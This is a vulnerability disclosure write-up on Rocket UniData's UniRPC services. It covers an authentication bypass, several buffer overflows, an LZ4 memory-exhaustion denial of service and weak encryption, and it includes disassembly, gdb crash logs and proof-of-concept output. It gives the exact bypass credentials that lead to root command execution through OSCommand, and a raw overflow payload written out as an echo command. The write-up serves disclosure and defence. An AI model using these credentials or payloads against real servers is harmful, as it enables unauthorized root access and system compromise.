We discovered an authentication bypass in the do_log_on_user() function in libunidata.so that permits a user to authenticate as any Linux user on the target service using a hard-coded username (:local:) and a deterministic password. This affects most of the services that UniData ships, and leads directly to shell command execution via the udadmin service. Additionally, it allows us to exploit several post-authentication vulnerabilities (detailed below) that would otherwise require a valid account to access.

To demonstrate this vulnerability, we chose the udadmin_server executable (accessed via RPC as the udadmin or udadmin82 service), as it permits authenticated users to execute operating system commands as part of its intended functionality. When a user connects to the udadmin_server service, they are required to send a message with up to three arguments:

  • An opcode (integer) of 0x0F (15)
  • A username (string)
  • An encoded password (string)

After copying the username and password into stack-based buffers, the password is decoded (by negating each byte), then the username and password field are passed into the impersonate_user function, which is in libunidata.so:

.text:0000000000408B57 48 8D 94 24 00+    lea     rdx, [rsp+428h+var_328] ; arg3
.text:0000000000408B57 01 00 00
.text:0000000000408B5F 4C 89 E6           mov     rsi, r12        ; password
.text:0000000000408B62 B9 01 00 00 00     mov     ecx, 1          ; arg4
.text:0000000000408B67 4C 89 EF           mov     rdi, r13        ; username
.text:0000000000408B6A C7 84 24 00 01+    mov     [rsp+428h+var_328], 0
.text:0000000000408B6A 00 00 00 00 00+
.text:0000000000408B6A 00
.text:0000000000408B75 E8 86 F2 FF FF     call    _impersonate_user ; <-- Validate the credentials
.text:0000000000408B7A 85 C0              test    eax, eax
.text:0000000000408B7C 41 89 C4           mov     r12d, eax
.text:0000000000408B7F 74 45              jz      short impersonate_successful ; <-- Jump if successful
.text:0000000000408B81 48 8B 3B           mov     rdi, [rbx]      ; stream
.text:0000000000408B84 48 8D 35 E6 7B+    lea     rsi, aLogonuserErrco ; "LogonUser: errcode=%d\n"

The impersonate_user function in libunidata.so is a thin wrapper around do_log_on_user (also found in libunidata.so). At the start of do_log_on_user, it compares the username to the string literal :local:, and jumps to standard PAM-based login code if it's not a match (note that memory addresses of libunidata.so probably will not match yours, since it's compiled as position-independent code and we manually set a base address based on where our lab machine loads the code):

.text:00007FFFF7312970 ; __int64 __usercall do_log_on_user@<rax>(char *username@<rdi>, char *password@<rsi>, int, int)
[...]
.text:00007FFFF7312985    lea     rdi, aLocal_1   ; ":local:"
.text:00007FFFF731298C    push    rbx
.text:00007FFFF731298D    mov     rbx, rsi
.text:00007FFFF7312990    mov     rsi, rbp
.text:00007FFFF7312993    sub     rsp, 10h
.text:00007FFFF7312997    repe cmpsb              ; compare "username" to ":local:"
.text:00007FFFF7312999    jnz     short username_not_local ; Jump if they aren't equal

If the username is :local:, the do_log_on_user function splits the password into three fields, using : as a delimiter (which, it turns out, are a username, a Linux user id, and a Linux group id). If the password doesn't contain two colons, the login attempt fails:

.text:00007FFFF731299B    mov     esi, 3Ah ; ':'  ; c
.text:00007FFFF73129A0    mov     rdi, rbx        ; s
.text:00007FFFF73129A3    call    _strchr         ; Find the first ':'
.text:00007FFFF73129A8    test    rax, rax
.text:00007FFFF73129AB    jz      short return_error ; Return an error if the password doesn't have : in it
.text:00007FFFF73129AD    lea     rbp, [rax+1]    ; rbp = part 2 of password
.text:00007FFFF73129B1    mov     byte ptr [rax], 0
.text:00007FFFF73129B4    mov     esi, 3Ah ; ':'  ; c
.text:00007FFFF73129B9    mov     rdi, rbp        ; s
.text:00007FFFF73129BC    call    _strchr         ; Find the second ':'
.text:00007FFFF73129C1    test    rax, rax
.text:00007FFFF73129C4    jz      short return_error ; Jump if there's no second colon

If the string correctly has three colon-separated fields, the following code executes:

.text:00007FFFF7312A50 loc_7FFFF7312A50:                       ; CODE XREF: do_log_on_user+60↑j
.text:00007FFFF7312A50    test    rbp, rbp        ; Check the second part of the password
.text:00007FFFF7312A53    jz      return_error
.text:00007FFFF7312A59    xor     esi, esi        ; endptr
.text:00007FFFF7312A5B    mov     rdi, rbp        ; nptr
.text:00007FFFF7312A5E    mov     edx, 0Ah        ; base
.text:00007FFFF7312A63    call    _strtol         ; Convert the second field to an integer
.text:00007FFFF7312A63                            ; (the return value isn't checked, so 0 works)

.text:00007FFFF7312A68    xor     esi, esi        ; endptr
.text:00007FFFF7312A6A    mov     [r12], eax
.text:00007FFFF7312A6E    mov     edx, 0Ah        ; base
.text:00007FFFF7312A73    mov     rdi, r13        ; nptr
.text:00007FFFF7312A76    call    _strtol         ; Convert the third field to an integer
.text:00007FFFF7312A7B    test    eax, eax
.text:00007FFFF7312A7D    mov     rbp, rax
.text:00007FFFF7312A80    jz      return_error    ; Return value cannot be 0

.text:00007FFFF7312A86    mov     rdi, rbx        ; name
.text:00007FFFF7312A89    call    _getpwnam       ; Get the uid for the first field
.text:00007FFFF7312A8E    test    rax, rax
.text:00007FFFF7312A91    jz      return_error    ; The user must exist

.text:00007FFFF7312A97    mov     esi, [r12]
.text:00007FFFF7312A9B    cmp     [rax+10h], esi  ; Compare the uid retrieved by `getpwnam()` with the second field
.text:00007FFFF7312A9E    jnz     return_error    ; Jump if it's not equal

.text:00007FFFF7312AA4    xor     r8d, r8d
.text:00007FFFF7312AA7    mov     ecx, 1
.text:00007FFFF7312AAC    mov     edx, ebp        ; group
.text:00007FFFF7312AAE    mov     rdi, rbx        ; s2
.text:00007FFFF7312AB1    call    _briefReinit    ; Success!

In that code, the library converts the second and third colon-separated fields into integer values. Then it passes the first field (a string) into the getpwnam function, which looks up the username as a local Linux user. If that succeeds, it ensures that second field (an integer) matches the user's user id (uid) value, then simply ensures that the third field, which will be treated as a group id, is non-zero.

In other words, the three colon-separated fields in the password are:

  1. A local username (such as root)
  2. The corresponding user id (such as 0)
  3. Any value that's not 0 (which will be used as a group id when privileges are dropped)

For example, we can use the username :local: with password ron:1000:123 to authenticate as ron on my host, since ron's user id is 1000 and 123 is not 0. Alternatively, the username :local: with password root:0:123 will work on most Linux targets, as root usually has a user id of 0 and 123 is still not 0.

Once that check passes, _briefReinit is called with our user id and group id values. We didn't look into the _briefReinit function, but we observed that it drops the process's privileges to the provided user id and group id values to the ones the user sent, then returns a success code to whatever service is attempting to authorize the user.

From here, we chose the udadmin service as an example target. If we successfully authenticate to udadmin, we can call any of dozens of different functions, each identified by a particular opcode. We chose opcode 6, because it's called OSCommand, which, as the name implies, will run a Linux shell command of the user's choosing:

.text:000000000040B7D4                handle_opcode_6:                        ; CODE XREF: main+780↑j
.text:000000000040B7D4 48 8B 3B                       mov     rdi, [rbx]      ; stream
.text:000000000040B7D7 48 8D 35 15 50+                lea     rsi, aOpcodeOpcodeDO ; "OpCode: opcode=%d(OSCommand)\n"
.text:000000000040B7D7 02 00
.text:000000000040B7DE BA 06 00 00 00                 mov     edx, 6
.text:000000000040B7E3 31 C0                          xor     eax, eax
.text:000000000040B7E5 E8 16 17 00 00                 call    logMsg
.text:000000000040B7EA BF 01 00 00 00                 mov     edi, 1          ; Get the second parameter
.text:000000000040B7EF 31 C0                          xor     eax, eax
.text:000000000040B7F1 E8 6A 14 00 00                 call    getStringVal    ; Gets the second parameter as a string
.text:000000000040B7F6 48 89 C7                       mov     rdi, rax        ; Argument fromt he user
.text:000000000040B7F9 E8 C2 B8 00 00                 call    UDA_OSCommand   ; Wrapper around "system"
.text:000000000040B7FE E9 07 D5 FF FF                 jmp     loc_408D0A

We wrote a proof of concept that uses this bypass to authenticate as root, then uses OSCommand to execute a chosen command. Like the last vulnerability, we can use it to create a file:

$ ruby ./udadmin_authbypass_oscommand.rb 10.0.0.198 31438 'touch /tmp/authbypassdemo'
Connecting to 'udadmin' service:
Request:
{:args=>[{:type=>:string, :value=>"udadmin"}, {:type=>:integer, :value=>1337}]}

Response:
[...]

Request:
{:args=>
  [{:type=>:integer, :value=>15},
   {:type=>:string, :value=>":local:"},
   {:type=>:string, :value=>"\x8D\x90\x90\x8B\xC5\xCF\xC5\xCE\xCD\xCC"}]}

Response:
[...]

Request:
{:args=>
  [{:type=>:integer, :value=>6},
   {:type=>:string, :value=>"touch /tmp/authbypassdemo"}]}

Response:
[...]

Then verify that the file is created (and owned by root), and therefore that the command executed:

[ron@unidata ~]$ ls -l /tmp/authbypassdemo 
-rw-r--r--. 1 root 123 0 Jan 17 15:58 /tmp/authbypassdemo

We also wrote a Metasploit module to help organizations better understand the risk of this issue.

CVE-2023-28504: Pre-authentication stack buffer overflow in libunirpc.so's U_rep_rpc_server_submain() function

We discovered a stack buffer overflow in the function U_rep_rpc_server_submain() in libunidata.so. The overflow occurs when the username and password fields are copied into stack-based buffers using an insecure strcpy-like function (u2strcpy). The U_rep_rpc_server_submain function is used to authenticate users in multiple RPC services, which means it can be exploited through multiple RPC endpoints. If successfully exploited, an attacker can write arbitrary data to the stack, including the return address, leading to pre-authentication remote code execution as the root user.

The vulnerable function (U_rep_rpc_server_submain) is accessible by at least the following API endpoints:

  • repconn (accessed as rmconn82)
  • udsub (accessed as unirep82)

We created a proof of concept for both services — repconn_stackoverflow_password.rb and udsub_stackoverflow_password.rb respectively. These will both crash the process at a debug breakpoint, which demonstrates code execution (note that this payload will only work on the exact versions that we tested; other vulnerable versions will most likely crash with a segmentation fault).

This is the same basic vulnerability as the stack buffer overflow in udadmin_server discussed above (CVE-2023-28502), but in a library function instead of in the RPC service itself. Based on function arguments in the disassembled code, the vulnerable u2strcpy calls appear to be found in the source file rep_rpc.c on lines 693 and 694. Here is the vulnerable code from U_rep_rpc_server_submain() in libunidata.so (note that you'll see different memory addresses than these, since the library is compiled as position-independent, and we chose a base address of where it happened to load in our lab):

.text:00007FFFF728EF68   call    _uvrpc_read_packet ; <-- Reads the login message (username/password)
.text:00007FFFF728EF6D   test    eax, eax
.text:00007FFFF728EF6F   jnz     loc_7FFFF728F025 ; Jump on fail

.text:00007FFFF728EF75   mov     rax, cs:conns
.text:00007FFFF728EF7C   mov     rsi, [rax+r12+0C230h] ; src
.text:00007FFFF728EF84   test    rsi, rsi
.text:00007FFFF728EF87   jz      loc_7FFFF728F02C

.text:00007FFFF728EF8D   lea     r14, [rsp+158h+username] ; <-- Stack buffer
.text:00007FFFF728EF92   lea     rdx, aRepRpcC   ; Source file = "rep_rpc.c"
.text:00007FFFF728EF99   mov     ecx, 2B5h       ; Line number = 0x2b5 (693)
.text:00007FFFF728EF9E   lea     r13, [rsp+158h+password] ; <-- Another stack buffer
.text:00007FFFF728EFA6   mov     rdi, r14        ; dest
.text:00007FFFF728EFA9   call    _u2strcpy       ; <-- Copy the username (stack overflow)

.text:00007FFFF728EFAE   mov     rax, cs:conns
.text:00007FFFF728EFB5   lea     rdx, aRepRpcC   ; Source file = "rep_rpc.c"
.text:00007FFFF728EFBC   mov     ecx, 2B6h       ; Line number = 0x2b6 (694)
.text:00007FFFF728EFC1   mov     rdi, r13        ; dest
.text:00007FFFF728EFC4   mov     rsi, [rax+r12+0C248h] ; src
.text:00007FFFF728EFCC   call    _u2strcpy       ; <-- Copy the password (stack overflow)

Like the vulnerability we documented in CVE-2023-28502, after being copied into a buffer the password is decoded by negating each byte (although this time the decoding code is inline instead of using rpcEncrypt()):

.text:00007FFFF728EFE0 top_negating_loop:                      ; CODE XREF: U_rep_rpc_server_submain+23E↓j
.text:00007FFFF728EFE0    not     edx             ; Negate the current byte
.text:00007FFFF728EFE2    add     rax, 1          ; Go to the next byte
.text:00007FFFF728EFE6    mov     [rax-1], dl     ; Write the negated byte back to the string
.text:00007FFFF728EFE9    movzx   edx, byte ptr [rax] ; Read the next byte
.text:00007FFFF728EFEC    test    dl, dl          ; Check if we've reached the end
.text:00007FFFF728EFEE    jnz     short top_negating_loop

Again, in most strcpy-like vulnerabilities, NUL bytes will truncate the payload, which makes exploitation much more difficult; however, due to this encoding, we actually can use NUL bytes. We wrote a proof of concept for the repconn service that will cause the application to crash at a debug breakpoint:

[ron@unidata bin]$ sudo gdb --args ./unirpcd-oneshot -p12345 -d9
(gdb) run
Starting program: /home/ron/unidata/unidata/bin/./unirpcd-oneshot -p12345 -d9

[...run the proof of concept in another window...]

RPCPID=13568 - 16:16:50 - looking for service rmconn82
RPCPID=13568 - 16:16:50 - Found service=rmconn82
RPCPID=13568 - 16:16:50 - Checking host: *
RPCPID=13568 - 16:16:50 - accept: execing /home/ron/unidata/unidata/bin/repconn
process 13568 is executing new program: /home/ron/unidata/unidata/bin/repconn
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".

Program received signal SIGTRAP, Trace/breakpoint trap.
0x0000000000401e70 in main ()

(gdb) x/i $rip-1
   0x401e6f <main+1343>:	int3

Similarly, the udsub proof of concept will also cause the application to crash at a debug breakpoint, although the address is slightly different:

[ron@unidata bin]$ sudo gdb --args ./unirpcd-oneshot -p12345 -d9
(gdb) run
Starting program: /home/ron/unidata/unidata/bin/./unirpcd-oneshot -p12345 -d9

[...run the proof of concept in another window...]

RPCPID=13733 - 16:19:41 - looking for service unirep82
RPCPID=13733 - 16:19:41 - Found service=unirep82
RPCPID=13733 - 16:19:41 - Checking host: *
RPCPID=13733 - 16:19:41 - accept: execing /home/ron/unidata/unidata/bin/udsub
process 13733 is executing new program: /home/ron/unidata/unidata/bin/udsub
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".

Program received signal SIGTRAP, Trace/breakpoint trap.
0x0000000000402b4c in main ()

(gdb) x/i $rip-1
   0x402b4b <main+2027>:	int3

CVE-2023-28505: Post-authentication buffer overflow in libunidata.so's U_get_string_value() function

We discovered a post-authentication buffer overflow in the U_get_string_value() function in libunidata.so, which is accessible through the RPC service unirep82. If successfully exploited, it leads to remote code execution as the authenticated user (combined with the authentication bypass in CVE-2023-28503, this is remotely exploitable as the root user without knowing a password).

The root cause is use of the u2strcpy() function, which is a wrapper around the standard strcpy() function. According to information in the compiled executable, the unsafe function usage is in the source file rep_rpc.c at line 464 (note that, like in other snippets from libunidata.so, your address will not line up with ours):

.text:00007FFFF728EBD0 ; int __fastcall U_get_string_value(int connection_id, char *buffer, int index)
[...]
.text:00007FFFF728EC08                 mov     r8, rsi
.text:00007FFFF728EC0B                 mov     rsi, [rdx+0C230h] ; src = third string in the packet
.text:00007FFFF728EC12                 test    rsi, rsi
.text:00007FFFF728EC15                 jz      short loc_7FFFF728EC40 ; Jump if the field is missing
.text:00007FFFF728EC17                 lea     rdx, aRepRpcC   ; filename = "rep_rpc.c"
.text:00007FFFF728EC1E                 sub     rsp, 8
.text:00007FFFF728EC22                 mov     ecx, 1D0h       ; line = 464
.text:00007FFFF728EC27                 mov     rdi, r8         ; dest = r8 = rsi = second function argument (buffer)
.text:00007FFFF728EC2A                 call    _u2strcpy       ; <-- Vulnerable strcpy

When a function calls U_get_string_value(), it passes in a buffer for the resulting string, but does not pass a length value. That buffer is passed into u2strcpy, which is also unbounded, and will overflow whichever buffer is passed into U_get_string_value(). The only RPC service we observed using that function was udsub (accessed via RPC as unirep82), which passes a stack-based buffer into the function.

In udsub, the main function calls U_sub_connect (in the udsub binary), which calls U_unpack_conn_package (in the libunidata.so library), which calls the vulnerable function U_get_string_value (also in the libunidata.so library). Here's a stack trace to help clarify (unfortunately, we don't have source file names or line numbers for any of these functions):


Breakpoint 2, 0x00007ffff728ebd0 in U_get_string_value () from /.udlibs82/libunidata.so
(gdb) bt
#0  0x00007ffff728ebd0 in U_get_string_value () from /.udlibs82/libunidata.so
#1  0x00007ffff7202259 in U_unpack_conn_package () from /.udlibs82/libunidata.so
#2  0x000000000040361f in U_sub_connect ()
#3  0x00000000004023ea in main ()

We wrote a proof of concept, udsub_stackoverflow_get_string_value.rb, which will overflow the buffer and crash the process while attempting to return from U_unpack_conn_package to the address 0x4242424242424242:

[ron@unidata bin]$ sudo gdb --args ./unirpcd-oneshot -p12345 -d9
(gdb) run
Starting program: /home/ron/unidata/unidata/bin/./unirpcd-oneshot -p12345 -d9
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".

[...run the proof of concept in another window...]

RPCPID=14678 - 16:37:31 - looking for service unirep82
RPCPID=14678 - 16:37:31 - Found service=unirep82
RPCPID=14678 - 16:37:31 - Checking host: *
RPCPID=14678 - 16:37:31 - accept: execing /home/ron/unidata/unidata/bin/udsub
process 14678 is executing new program: /home/ron/unidata/unidata/bin/udsub
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.
0x00007ffff72023fd in U_unpack_conn_package () from /.udlibs82/libunidata.so

(gdb) x/i $rip
=> 0x7ffff72023fd <U_unpack_conn_package+605>:	ret    

(gdb) x/xwg $rsp
0x7fffffffd558:	0x4242424242424242

Unlike the password-based overflows, we cannot use a NUL byte so we cannot reliably return to a useful address; however, more complex exploits are likely possible.

CVE-2023-28506: Post-authentication stack buffer overflow in udapi_slave

We found a post-authentication stack overflow in the udapi_slave binary, accessible through the udapi_server binary, which is accessed via the udcs service. Successfully exploiting this issue likely leads to remote code execution as the authenticated user. Due to the authentication bypass detailed in CVE-2023-28503, this is exploitable as the root user without knowing their password.

The udapi_slave binary is somewhat different from other services, because it's not an RPC service; instead, it's executed by an RPC service, which proxies the bodies of RPC requests with a different header. From a network perspective, it behaves identically to a standard UniRPC service, except that the messages are formatted a little bit differently internally.

The RPC message used to authenticate to udapi_serve (and therefore udapi_slave) has more fields than a typical authentication message that other services use. We documented the following fields (note that, as usual, names are usually guesswork):

  • (integer) comms_version — likely a version number, and used as part of password encoding
  • (integer) other_version — another version number, whose name we could not determine (but that only has a few valid values)
  • (string) username — this is processed slightly differently than usernames in other services, but the authentication bypass documented in CVE-2023-28503 still works, except that the username must be ::local: (an extra colon at the start)
  • (string) password — this is treated exactly like the password in other authentication messages, including the bypass documented in CVE-2023-28503
  • (string) account — an account name that's passed into the change_account() function, which insecurely copies it into a buffer

The change_account() function, which appears to be in the file src/ud/udtapi/api_slave.c around line 1154, copies the account argument into a stack-based buffer using u2memcpy. It uses the length of the string, as provided by the user, but always copies the data into a 296-byte stack-based buffer. Additionally, because it uses memcpy and a user-defined size, NUL bytes are permitted and we can therefore use memory addresses as part of our proof of concept.

Here's the vulnerable parts of the change_account() function:

.text:000000000040FC90 ; __int64 __fastcall change_account(int account_length, char *account)
[...]
.text:000000000040FC91                 lea     rcx, aDisk1AgentWork_0 ; filename = "/disk1/agent/workspace/ud_build/src/ud/"...
[...]
.text:000000000040FC9B                 mov     r8d, 482h       ; line = 1154
.text:000000000040FCA1                 mov     rdx, rbp        ; length - length of the user's `account` string
[...]
.text:000000000040FCAC                 lea     rbx, [rsp+138h+account_name_copy] ; 296-byte buffer
.text:000000000040FCB1                 mov     rdi, rbx        ; dst = 296-byte buffer
.text:000000000040FCB4                 call    _u2memcpy

We wrote a proof of concept in udapi_slave_stackoverflow_change_account.rb, which crashes the service at a debug breakpoint (assuming it's the exact version we tested; otherwise, it will likely crash with a segmentation fault). Note that due to the fork, we have to set follow-fork-mode to child ingdb; otherwise, we won't see the child process crash:

[ron@unidata bin]$ sudo gdb --args ./unirpcd-oneshot -p12345 -d9

[...]

(gdb) set follow-fork-mode child

(gdb) run

Starting program: /home/ron/unidata/unidata/bin/./unirpcd-oneshot -p12345 -d9
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".

[...run the proof of concept in another window...]

RPCPID=15389 - 16:50:43 - accept: execing /home/ron/unidata/unidata/bin/udapi_server
process 15389 is executing new program: /home/ron/unidata/unidata/bin/udapi_server
[...]
[Attaching after process 15394 fork to child process 15394]
[New inferior 2 (process 15394)]
[...]
process 15394 is executing new program: /home/ron/unidata/unidata/bin/udapi_slave
[...]

Program received signal SIGTRAP, Trace/breakpoint trap.
[Switching to Thread 0x7ffff7fe5780 (LWP 15394)]
0x00000000004007b1 in ?? ()

We can also skip all the RPC stuff by running udapi_slave directly and sending the payload on stdin (this will only work if you already have shell access to the service, so it's not a useful exploit):

[ron@unidata bin]$ echo -ne "\x01\x00\x00\x00\x7c\x01\x00\x00\x05\x00\x00\x00\x41\x42\x43\x44\x00\x00\x00\x00\x41\x42\x43\x44\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x03\x00\x00\x00\x0b\x00\x00\x00\x03\x00\x00\x01\x30\x00\x00\x00\x03\x00\x00\x00\x04\x00\x00\x00\x05\x74\x65\x73\x74\x74\x65\x73\x74\x3a\x3a\x6c\x6f\x63\x61\x6c\x3a\x76\x6b\x6b\x70\x3e\x34\x3e\x35\x36\x37\x30\x58\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xb0\x07\x40\x00\x00\x00\x00\x00" | ./udapi_slave 0 1 2

[...]
Trace/breakpoint trap

Because this overflow is in u2memcpy instead of u2strcpy, NUL bytes are permitted and therefore this is likely to be exploitable.

CVE-2023-28507: Memory exhaustion DoS in LZ4 decompression

We found a way to exhaust large amounts of memory in the LZ4 decompression function in the unirpcd daemon. The memory is immediately freed after the decompression ultimately fails, so this is not a major attack, but we decided it was worth documenting since a sustained attack using this technique may use a lot of server resources.

UniRPC messages can be compressed using LZ4 compression by setting a flag in the header. The decompression function is called LZ4_decompress_safe, and is found in the unirpcd executable. It appears that LZ4_decompress_safe doesn't distinguish between "invalid data" and "buffer too small". When the function fails, the UniRPC code expands the buffer and tries again — over and over until it requests an enormous amount of memory and the allocation fails, at which point the process ends with an error code.

Here's the code in question, from unirpcd:

.text:000000000040778B      test    eax, eax        ; eax = number of bytes decompressed (if successful)
.text:000000000040778D      jns     decompression_successful ; Jump if it's >0

.text:0000000000407793      mov     eax, cs:uvrpc_cmpr_buf_len
.text:0000000000407799      mov     rdi, cs:uvrpc_cmpr_buf_ptr ; ptr
.text:00000000004077A0      lea     ebx, [rax+rax]  ; Otherwise, double the buffer size
.text:00000000004077A3      lea     edx, ds:0[rax*8]
.text:00000000004077AA      cmp     eax, 0FFFFh
.text:00000000004077AF      cmovle  ebx, edx
.text:00000000004077B2      movsxd  rsi, ebx        ; size
.text:00000000004077B5      call    _realloc ; Allocate double the memory
.text:00000000004077BA      test    rax, rax
.text:00000000004077BD      jz      decompression_failed ; Fail if we're out of memory
.text:00000000004077C3      mov     edx, dword ptr [rsp+88h+tmpvar] ; compressedSize
.text:00000000004077C7      mov     rdi, [rsp+88h+incoming_body_ptr] ; src
.text:00000000004077CC      mov     ecx, ebx        ; dstCapacity
.text:00000000004077CE      mov     rsi, rax        ; dst
.text:00000000004077D1      mov     cs:uvrpc_cmpr_buf_len, ebx
.text:00000000004077D7      mov     cs:uvrpc_cmpr_buf_ptr, rax
.text:00000000004077DE      call    LZ4_decompress_safe ; Otherwise, try again (forever)
.text:00000000004077E3      jmp     short loc_40778B

If we run unirpcd-oneshot and put a breakpoint on the realloc function, then run that script against the server, we'll see increasingly large memory allocations:

[ron@unidata bin]$ sudo gdb --args ./unirpcd-oneshot -p12345 -d9

[...]

(gdb) b realloc
Breakpoint 1 at 0x402f80
(gdb) run
Starting program: /home/ron/unidata/unidata/bin/./unirpcd-oneshot -p12345 -d9
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
RPCPID=21615 - 18:46:45 - uvrpc_debugflag=9 (Debugging level)
RPCPID=21615 - 18:46:45 - portno=12345
RPCPID=21615 - 18:46:45 - res->ai_family=10, ai_socktype=1, ai_protocol=6

[...run the proof of concept here...]

RPCPID=21615 - 18:48:08 - Accepted socket is from (IP number) '::ffff:10.0.0.179'
RPCPID=21615 - 18:48:08 - accept: forking

Breakpoint 1, __GI___libc_realloc (oldmem=0x6820f0, bytes=65728) at malloc.c:2964
2964	{
(gdb) cont
Continuing.

Breakpoint 1, __GI___libc_realloc (oldmem=0x6820f0, bytes=131456) at malloc.c:2964
2964	{
(gdb) cont
Continuing.

[...]

Breakpoint 1, __GI___libc_realloc (oldmem=0x7fffd51c8010, bytes=538443776) at malloc.c:2964
2964	{
(gdb) cont
Continuing.

Breakpoint 1, __GI___libc_realloc (oldmem=0x7fffb5047010, bytes=1076887552) at malloc.c:2964
2964	{
(gdb) cont
Continuing.

Breakpoint 1, __GI___libc_realloc (oldmem=0x7fff74d46010, bytes=18446744071568359424) at malloc.c:2964
2964	{
(gdb) cont
Continuing.
RPCPID=21615 - 18:48:40 - in accept read_packet returns 13c84
[Inferior 1 (process 21615) exited with code 01]

Note that the final attempt tries to allocate an enormous amount of memory — 18,446,744,071,568,359,424 bytes, or about 18.4 exabytes, which fortunately fails on my lab machine.

CVE-2023-28508: Post-authentication heap overflow in udsub

We discovered a post-authentication heap overflow vulnerability in the udsub executable (accessed via the RPC service unirep82) that, if successfully exploited, could lead to remote code execution as the authenticated user. We caused the service to crash when it tried to free an invalid pointer after a complex subscription request. Due to the complexity, we didn't track down the root cause of the issue, and therefore can't say with certainty whether this is exploitable for code execution or merely a denial of service.

Note that while this requires authentication, the authentication bypass issue detailed as CVE-2023-28503 permits us to access this service as the root user without requiring a password.

We wrote a proof of concept, which demonstrates the issue; here's what the service looks like when we run that script:

[ron@unidata bin]$ sudo gdb --args ./unirpcd-oneshot -p12345 -d9

[...]

(gdb) run
Starting program: /home/ron/unidata/unidata/bin/./unirpcd-oneshot -p12345 -d9
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
RPCPID=21890 - 18:51:59 - uvrpc_debugflag=9 (Debugging level)
RPCPID=21890 - 18:51:59 - portno=12345
RPCPID=21890 - 18:51:59 - res->ai_family=10, ai_socktype=1, ai_protocol=6

[...run the script here...]

RPCPID=21890 - 18:52:06 - Accepted socket is from (IP number) '::ffff:10.0.0.179'
RPCPID=21890 - 18:52:06 - accept: forking
RPCPID=21890 - 18:52:06 - argcount = 2(1: pre-6/10 client,2: SSL client)
RPCPID=21890 - 18:52:06 - looking for service unirep82
RPCPID=21890 - 18:52:06 - Found service=unirep82
RPCPID=21890 - 18:52:06 - Checking host: *
RPCPID=21890 - 18:52:06 - accept: execing /home/ron/unidata/unidata/bin/udsub
process 21890 is executing new program: /home/ron/unidata/unidata/bin/udsub
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".

*** Error in `/home/ron/unidata/unidata/bin/udsub': free(): invalid pointer: 0x000000000062dd00 ***
======= Backtrace: =========
/lib64/libc.so.6(+0x81329)[0x7ffff4b61329]
/.udlibs82/libunidata.so(U_unpack_conn_package+0x66e)[0x7ffff720280e]
/home/ron/unidata/unidata/bin/udsub[0x40361f]
/home/ron/unidata/unidata/bin/udsub[0x4023ea]
/lib64/libc.so.6(__libc_start_main+0xf5)[0x7ffff4b02555]
/home/ron/unidata/unidata/bin/udsub[0x4033de]

CVE-2023-28509: Weak encryption

We found several different places where encoding or obfuscation happens in UniRPC communications where the intent appears to be encryption (based on the name or context). At best, they're a simple encoding that hides data on the wire from the most naive eavesdropping (like negating each byte in a password); at worst, multiple layers of this obfuscation can cancel out the obfuscation entirely, or even enable other attacks to work by encoding NUL bytes.

Here, I'll list a few encryption issues that stood out while working on this research project. We implemented these throughout libneptune.

Encryption bit in UniRPC packet header

The UniRPC packet header is 24 (0x18) bytes long, and is composed of the following fields (we don't have the official names, so these are guesses based on context):

  • (1 byte) version byte (always 0x6c)
  • (1 byte) other version byte (always 0x01 or 0x02)
  • (1 byte) reserved / ignored
  • (1 byte) reserved / ignored
  • (4 bytes) body length
  • (4 bytes) reserved / ignored
  • (1 byte) encryption_mode
  • (1 byte) is_compressed
  • (1 byte) is_encrypted
  • (1 byte) reserved / ignored
  • (4 bytes) reserved / must be 0
  • (2 bytes) argcount
  • (2 bytes) data length

This is implemented in the build_packet() function in the libneptune.rb library.

When set, the is_encrypted field tells the receiver that the packet has been obfuscated by XOR'ing every byte of the body with a static byte. Depending on the value of encryption_mode, that static byte is either 1 or 2.

This is not useful for encryption, if that was the intent, because all the information needed to decrypt it is in the packet header (and obfuscation in the form of XOR-by-a-constant is generally obvious to observers and is very easy to decode).

Password encoding in udadmin_server

The first message sent to udadmin_server requires three fields:

  • (integer) opcode (always0x0F / 15)
  • (string) username
  • (string) encoded password

The opcode is an integer value that doesn't change — no value besides 0x0f works. The username is a standard string. The password, however, is passed into a function called rpcEncrypt() after copying it into a buffer. In that function, each byte of the string is negated with the logical not function (ie, binary 0 becomes 1 and 1 becomes 0).

